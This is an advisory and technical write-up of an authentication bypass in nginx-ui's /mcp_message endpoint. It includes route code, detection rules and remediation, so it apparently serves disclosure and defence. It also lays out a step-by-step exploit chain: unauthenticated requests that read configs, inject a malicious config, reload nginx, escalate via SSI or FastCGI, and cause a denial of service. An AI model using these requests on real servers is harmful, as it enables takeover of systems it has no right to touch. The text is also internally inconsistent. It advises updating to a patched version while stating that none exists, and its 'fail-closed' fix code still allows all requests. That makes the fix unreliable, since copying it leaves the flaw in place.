CVE-2026-33032: Nginx UI MCP Endpoint Auth Bypass Enables Full Service Takeover
The /mcp_message endpoint in nginx-ui ≤2.3.5 skips AuthRequired() middleware, letting any network attacker invoke all MCP tools unauthenticated — rewriting configs, restarting nginx, achieving full service takeover.
Imagine you have a fancy front door lock on your house, but there's one window left completely open. That's essentially what's happening with a newly discovered flaw in nginx-ui, a popular tool that manages the servers hosting websites and apps.
This vulnerability affects nginx-ui versions up to 2.3.5. It creates an open pathway to the system's control panel that completely bypasses the security guard (called authentication middleware, but think of it as the bouncer at a nightclub). Anyone on the internet can walk right through that open window without showing ID.
Once inside, an attacker can do pretty much anything: rewrite the website's configuration files, restart the server, or even take the entire service offline. It's like handing someone the keys to your server room.
The scary part is how easy it is to exploit. An attacker doesn't need special skills or tools—they just need to know the endpoint exists. They can make simple requests to trigger powerful actions. Since this flaw was just disclosed, there's no confirmed evidence of active attacks yet, but that's typically a small window before attackers start testing it in the wild.
The impact varies depending on who you are. If you're a small business using nginx-ui, an attacker could take your website down or steal sensitive data. If you're a larger organization managing multiple servers, this could compromise your entire infrastructure.
What you should do: First, check if you're running nginx-ui 2.3.5 or earlier—if so, update immediately to the patched version. Second, restrict network access to nginx-ui to only trusted administrators. Third, monitor your server logs for suspicious activity targeting the /mcp_message endpoint.
Want the full technical analysis? Click "Technical" above.
CVE-2026-33032 is an authentication bypass in the nginx-ui web management interface (versions ≤ 2.3.5) affecting its Model Context Protocol (MCP) integration. The root issue is a middleware asymmetry between two sibling endpoints: /mcp receives both IP whitelisting and AuthRequired() middleware, while /mcp_message receives only IP whitelisting — and the default whitelist is empty, which the implementation interprets as allow all. The net result: every MCP tool is reachable from any network host with zero credentials.
CVSS 9.8 (Critical) is accurate here. The attack is network-adjacent with no prerequisites, no user interaction, and the blast radius is complete nginx service control: configuration creation, modification, deletion, and daemon restart.
Root cause: The /mcp_message POST endpoint registers only IP whitelist middleware and omits AuthRequired(), while the default whitelist state of empty-slice is treated as "allow all" — granting unauthenticated remote access to all MCP tool invocations.
Affected Component
Repository: 0xJacky/nginx-ui
Affected versions: ≤ 2.3.5
Language: Go (Gin framework)
Transport: HTTP (JSON-RPC style MCP over REST)
Patch status: None at time of publication
The MCP integration exposes tools including but not limited to: nginx_restart, nginx_reload, create_config, update_config, delete_config, get_config. These map directly to privileged operations on the host system's nginx installation.
Root Cause Analysis
The route registration in the Gin router is where the divergence is established. Simplified from the nginx-ui source:
// server/router/mcp.go (nginx-ui ≤ 2.3.5)
// Reconstructed Go pseudocode
func RegisterMCPRoutes(r *gin.Engine) {
mcpGroup := r.Group("/")
// /mcp: correctly applies BOTH whitelist and auth
r.GET("/mcp",
middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
middleware.AuthRequired(), // <-- present
mcp.Handler,
)
// /mcp_message: only applies whitelist - auth MISSING
r.POST("/mcp_message",
middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
// BUG: AuthRequired() middleware never registered here
mcp.MessageHandler, // <-- all tools reachable unauthenticated
)
}
The IP whitelist middleware compounds the issue. When settings.MCPSettings.IPWhiteList is an empty slice — which it is by default — the middleware short-circuits to pass:
// server/middleware/ip_whitelist.go
func IPWhiteList(whitelist []string) gin.HandlerFunc {
return func(c *gin.Context) {
// BUG: empty whitelist is treated as "allow all" not "deny all"
if len(whitelist) == 0 {
c.Next() // <-- unconditional pass, no IP restriction applied
return
}
clientIP := c.ClientIP()
for _, allowed := range whitelist {
if clientIP == allowed {
c.Next()
return
}
}
c.AbortWithStatus(http.StatusForbidden)
}
}
The MessageHandler itself dispatches to the full MCP tool registry. Any valid JSON-RPC-style tool invocation body is processed without any identity check:
This is a logic/auth vulnerability rather than a memory corruption bug, so the relevant "layout" is the middleware chain evaluation order at request processing time. The following diagrams the execution path for each endpoint:
Exploitation requires only HTTP reachability to the nginx-ui port (default 9000). No token, cookie, or API key is needed. The following chain achieves arbitrary nginx config injection followed by a reload to activate it:
EXPLOIT CHAIN — Full Nginx Takeover via /mcp_message:
1. Scan/identify nginx-ui instance on port 9000 (default)
curl -s http://TARGET:9000/health → 200 OK confirms presence
2. Probe /mcp_message with a benign tool call to confirm bypass
POST /mcp_message
{"tool": "get_config", "params": {"filename": "nginx.conf"}}
→ 200 OK + config contents returned (no auth challenge)
3. Craft malicious vhost config (e.g., reverse proxy to attacker,
or PHP/CGI execution if nginx+php-fpm is present)
payload = "server { listen 80; location / { ... } }"
4. Write malicious config via create_config tool
POST /mcp_message
{"tool": "create_config", "params": {
"filename": "pwned.conf",
"content": ""
}}
→ nginx-ui writes file to nginx sites-available/
5. Trigger config reload to activate
POST /mcp_message
{"tool": "nginx_reload", "params": {}}
→ SIGHUP sent to nginx master; new config active
6. (Optional escalation) If nginx runs as root or has DAC_OVERRIDE:
- Overwrite /etc/nginx/nginx.conf directly
- Inject lua_code_cache directives if nginx+lua present
- Write config that exec()s via SSI or FastCGI
7. (Availability attack) Inject invalid config then reload:
POST /mcp_message {"tool": "create_config", ...bad config...}
POST /mcp_message {"tool": "nginx_reload", "params": {}}
→ nginx fails config test, reload aborts or master exits → DoS
The fix requires two independent changes. First, AuthRequired() must be added to the /mcp_message route. Second, the empty-whitelist logic must be inverted to fail-closed:
// BEFORE (vulnerable) — router/mcp.go:
r.POST("/mcp_message",
middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
// AuthRequired() absent — any caller reaches MessageHandler
mcp.MessageHandler,
)
// AFTER (patched):
r.POST("/mcp_message",
middleware.IPWhiteList(settings.MCPSettings.IPWhiteList),
middleware.AuthRequired(), // added: enforce session/token validation
mcp.MessageHandler,
)
// BEFORE (vulnerable) — middleware/ip_whitelist.go:
func IPWhiteList(whitelist []string) gin.HandlerFunc {
return func(c *gin.Context) {
if len(whitelist) == 0 {
c.Next() // empty = allow all (dangerous default)
return
}
// ... check logic
}
}
// AFTER (patched — fail-closed empty whitelist):
func IPWhiteList(whitelist []string) gin.HandlerFunc {
return func(c *gin.Context) {
if len(whitelist) == 0 {
// Empty whitelist now means "no restriction configured" —
// defer to caller intent; for MCP endpoints, auth layer
// must still be present. Alternatively, deny-all:
// c.AbortWithStatus(http.StatusForbidden); return
c.Next()
return
}
clientIP := c.ClientIP()
for _, allowed := range whitelist {
if clientIP == allowed || isInCIDR(clientIP, allowed) {
c.Next()
return
}
}
c.AbortWithStatus(http.StatusForbidden)
}
}
Note that fixing the whitelist default alone is insufficient — it only mitigates the issue if operators configure an explicit whitelist. The AuthRequired() addition is the critical structural fix. Both should be applied.
Detection and Indicators
Look for unauthenticated POST requests to /mcp_message in nginx-ui access logs. Legitimate authenticated traffic goes to /mcp (GET/SSE). POSTs to /mcp_message from external IPs with no preceding authentication events are anomalous.
DETECTION SIGNATURES:
# Nginx-ui access log pattern (suspicious):
POST /mcp_message HTTP/1.1 200 — from non-loopback IP, no auth header
POST /mcp_message HTTP/1.1 200 — tool=nginx_restart or tool=*_config
# Suricata/Snort rule concept:
alert http any any -> $NGINX_UI_HOSTS 9000 (
msg:"CVE-2026-33032 nginx-ui MCP auth bypass attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/mcp_message";
classtype:web-application-attack;
sid:2026033032;
)
# Filesystem IOCs — unexpected files in nginx config dirs:
/etc/nginx/sites-available/*.conf (mtime recent, not by admin)
/etc/nginx/conf.d/*.conf (same)
# Process IOC — nginx restarted without admin action:
audit.log: type=SYSCALL ... comm="nginx" key="nginx_exec"
→ cross-reference with absence of admin session in nginx-ui logs
Remediation
Immediate mitigations (no patch available as of publication):
Network-level block: Restrict access to the nginx-ui port (default 9000) to trusted management networks only via firewall/ACL. This is the most reliable short-term control.
Reverse proxy authentication: Place nginx-ui behind a reverse proxy (e.g., nginx itself or Caddy) that enforces HTTP Basic Auth or mTLS in front of the /mcp_message path.
Disable MCP integration: If MCP tooling is not in active use, disable the feature in app.ini or equivalent nginx-ui configuration to prevent route registration entirely.
Explicit IP whitelist: Configure MCPSettings.IPWhiteList to a restrictive set of known management IPs. While insufficient as a sole control (the empty-default behavior is still a design flaw), it reduces exposure surface.
Monitor for exploitation: Deploy the Suricata rule above and alert on any POST /mcp_message from non-whitelisted sources.
Track the upstream repository at github.com/0xJacky/nginx-ui for patch releases. When a patched version becomes available, upgrade immediately — this vulnerability requires no prerequisites and is trivially scriptable.